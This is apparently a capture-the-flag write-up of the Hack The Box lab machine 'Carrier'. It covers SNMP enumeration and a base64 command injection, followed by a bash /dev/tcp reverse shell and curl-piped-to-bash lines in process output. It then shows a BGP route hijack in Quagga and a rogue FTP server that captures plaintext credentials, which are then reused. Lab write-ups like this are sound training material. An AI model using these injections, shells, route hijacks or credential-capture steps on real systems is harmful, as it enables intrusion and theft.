Carrier Writeup

03 May 2023 #CTF #HTB #box #medium #linux

carrier info


Kickstart you career with nmap:

$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap
21/tcp filtered ftp
22/tcp open     ssh
80/tcp open     http
$ ports=$(awk -F/ '/^[0-9]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap
21/tcp filtered ftp
22/tcp open     ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 15a42877ee130706340986fd6fcc4ce2 (RSA)
|   256 37bede070f10bb2bb585f79d925e8325 (ECDSA)
|_  256 895aee1c2202d21340f2452e7045b0c4 (ED25519)
80/tcp open     http    Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Login
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 21 comes back as filtered which means it behaved unlike the other ports. This could mean a firewall is blocking access from our network.

Let's also perform a UDP scan:

$ sudo nmap -sU -F -oN enum/udp.nmap
67/udp  open|filtered dhcps
161/udp open          snmp


Dump SNMP info with snmpwalk:

$ snmpwalk -v1 -c public
SNMPv2-SMI::mib- = STRING: "SN#NET_45JDX23"
End of MIB

We only get this one entry, but don't know what it means yet.


Going to the website, we get a login page:

login page

We see 2 errors with some kind of code, but again, we don't really know what it means.

After trying a few default creds like admin:admin, we can move on to directory bruteforcing:

$ feroxbuster -u -o enum/ferox.out
301      GET        9l       28w      310c =>
200      GET      167l      938w    64191c
200      GET      327l     1828w   128110c

There is a /doc/ directory. The image is a network diagram representing 3 interconnected Autonomous Systems (AS):


The pdf has a description for each error code:

error codes pdf

The last one says the password for the admin account is set to some chassis serial number. The random string we found with snmpwalk starts with SN# so it might be it.

And indeed we can login with admin:NET_45JDX23 (just strip SN# from the beginning of the string):


There is some interesting info on the tickets page:


We'll come back to it later.


We also have access to the diagnostics page. Clicking on the 'Verify status' button produces output looking like the ps command:


Let's take a look at the request in Burp:

post parameter

It's a POST request with 1 parameter. If we base 64 decode it, we get quagga.

At this point it seems likely that the web app is doing a grep (with user input) on a ps output. Let's see if we can get code execution with a payload like asdf;id (encoded in base 64):


Nice, we have RCE. We can get a reverse shell with bash -c 'bash -i >& /dev/tcp/ 0>&1'


Local Enumeration

We have a shell as root, which is unusual. Upon further inspection, we don't see port 80 open:

root@r1:~# ss -lnt
State      Recv-Q Send-Q        Local Address:Port       Peer Address:Port
LISTEN     0      3                         *:*
LISTEN     0      3                         *:*
LISTEN     0      3                         *:179                   *:*
LISTEN     0      128                       *:22                    *:*
LISTEN     0      3                        :::179                  :::*
LISTEN     0      128                      :::22                   :::*

We can explain this with the ps command:

root@r1:~# ps -ef --forest
UID         PID   PPID  C STIME TTY          TIME CMD
root        489      1  0 May02 ?        00:00:00 /usr/sbin/sshd -D
root      19061    489  0 14:31 ?        00:00:00  \_ sshd: root@notty
root      19099  19061  0 14:31 ?        00:00:00      \_ bash -c ps waux | grep $(asdf;curl|ba
root      19101  19099  0 14:31 ?        00:00:00          \_ bash -c ps waux | grep $(asdf;curl 10.10.14.
root      19103  19101  0 14:31 ?        00:00:00          |   \_ bash -c ps waux | grep $(asdf;curl 10.10
root      19106  19103  0 14:31 ?        00:00:00          |       \_ bash
root      19107  19106  0 14:31 ?        00:00:00          |           \_ bash -i
root      19117  19107  0 14:32 ?        00:00:00          |               \_ script -qc bash /dev/null
root      19118  19117  0 14:32 pts/0    00:00:00          |                   \_ bash
root      19296  19118  0 14:54 pts/0    00:00:00          |                       \_ ps -ef --forest
root      19102  19099  0 14:31 ?        00:00:00          \_ grep -v grep
quagga    19282      1  0 14:50 ?        00:00:00 /usr/lib/quagga/zebra --daemon -A
quagga    19286      1  0 14:50 ?        00:00:00 /usr/lib/quagga/bgpd --daemon -A
root      19291      1  0 14:50 ?        00:00:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd

Our shell is a child process of the sshd process so we can assume the webserver is running this bash -c ps waux | grep <user_input> command remotely and this is how we got here.

It seems we are in a router:

root@r1:~# ip -br a
lo               UNKNOWN ::1/128
eth0@if9         UP    fe80::216:3eff:fed9:4ea/64
eth1@if11        UP    fe80::216:3eff:fe8a:f24f/64
eth2@if13        UP    fe80::216:3eff:fe20:98df/64

root@r1:~# ip r
default via dev eth0 onlink dev eth1  proto kernel  scope link  src dev eth2  proto kernel  scope link  src dev eth0  proto kernel  scope link  src via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth1  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra via dev eth2  proto zebra

We have multiple network interfaces and a bunch of routes. and are the addresses of AS 200 (Zaza Telecom) and AS 300 (CastCom) respectively.

If we go back to the tickets page, there are a few hints on what to do next. One ticket is telling us about "connecting by FTP to an important server in the network". And a another one (still open) from CastCom (check the network diagram image) asking us to inject one of their routes from our side.

Now our goal is a bit clearer: perform a BGP hijack to intercept FTP trafic to this "important server" to get plain text creds.

BGP Hijack

One criteria for the BGP protocol to choose which route to take is based upon the network prefix. In our case the target network has a /24 prefix so we'll specify a /25 prefix to get priority over the original:

root@r1:~# vtysh

Hello, this is Quagga (version
Copyright 1996-2005 Kunihiro Ishiguro, et al.

r1# conf t
r1(config)# router bgp 100
r1(config-router)# network

Let's check if it worked:

r1# show ip bgp neighbors advertised-routes
BGP table version is 0, local router ID is
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*>               0         32768 ?
*>               0         32768 ?
*>               0         32768 ?
*>               0         32768 i
*>               0         32768 i
*>                             0 300 i
*>                             0 300 i
*>                             0 300 i
*>                             0 300 i
*>                             0 300 i
*>                             0 300 i
*>               0         32768 i
[...] is the address of our target: AS 200 (Zaza Telecom). As we can see, the path for the network is set to i which means us.

We still need to know the IP address of the legitimate FTP server. We'll use a bash one-liner to ping sweep the network:

root@r1:~# for i in {1..254}; do (ping -c 1 10.120.15.$i | grep 'bytes from' &) ; done
64 bytes from icmp_seq=1 ttl=64 time=0.098 ms
64 bytes from icmp_seq=1 ttl=63 time=0.101 ms

root@r1:~# nc -nvz 21
Connection to 21 port [tcp/*] succeeded!

As we can see, has port 21 open, so we found our target.

For the FTP packets to be intercepted on this host (instead of being routed to the void) we need to add the IP address of the FTP server to this host:

root@r1:~# ip addr add dev eth2

The choice of the interface is arbitrary, it can be 'eth0' or 'eth1' as well.

Now we should be able to receive FTP traffic:

root@r1:~# nc -lnvp 21
Listening on [] (family 0, port 21)
Connection from [] port 21 [tcp/*] accepted (family 2, sport 37172)

Rogue FTP Server

In order to capture the plain text creds of the user, we need a custom FTP server. We'll use the pyftpdlib module to do that:

import sys

from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
from pyftpdlib.authorizers import DummyAuthorizer

class PlainCredsAuthorizer(DummyAuthorizer):
    def validate_authentication(self, username, password, handler):

handler = FTPHandler
handler.authorizer = PlainCredsAuthorizer()

with FTPServer(('', 2121), handler) as server:

This will start a simple FTP server that prints username + password when someone tries to login (and then exits).

This FTP server is running on our attack VM, so we need a way to make it available to the target box. We'll upload socat and do a reverse port forward:

root@r1:~# ./socat TCP-LISTEN:21 TCP:

This will open port 21 on the target box (router) and forward packets to (attack VM) on port 2121 (port of the rogue FTP server).

After one minute or so we get a hit on our FTP server:

[I 2023-05-03 18:13:35] concurrency model: async
[I 2023-05-03 18:13:35] masquerade (NAT) address: None
[I 2023-05-03 18:13:35] passive ports: None
[I 2023-05-03 18:13:35] >>> starting FTP server on, pid=27854 <<<
[I 2023-05-03 19:27:00][] FTP session opened (connect)
username:       root
password:       BGPtelc0rout1ng
[I 2023-05-03 19:27:00] received interrupt signal
[I 2023-05-03 19:27:00] >>> shutting down FTP server, 2 socket(s), pid=27854 <<<
[I 2023-05-03 19:27:00][root] FTP session closed (disconnect).


Nice, we got some creds. Let's reuse them to login to the actual FTP server:

root@r1:~# ftp
ftp> ls -a
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx------    7 0        0            4096 Sep 30  2022 .
drwxr-xr-x   23 0        0            4096 Nov 04 15:15 ..
lrwxrwxrwx    1 0        0               9 Sep 20  2022 .bash_history -> /dev/null
-rw-r--r--    1 0        0            3121 Jul 02  2018 .bashrc
drwx------    2 0        0            4096 Sep 20  2022 .cache
drwxr-x---    3 0        0            4096 Sep 20  2022 .config
drwx------    3 0        0            4096 Sep 20  2022 .gnupg
-rw-r--r--    1 0        0             148 Aug 17  2015 .profile
drwx------    2 0        0            4096 Jul 01  2018 .ssh
drwxr-xr-x    2 0        0            4096 Sep 20  2022 .vim
-r--------    1 0        0              33 Apr 25 21:58 root.txt
-rw-------    1 0        0              33 Apr 25 22:36 secretdata.txt

From here we could drop a SSH key to login to the box as root. The FTP password is also reused for SSH so we can login that way.

Key Takeaways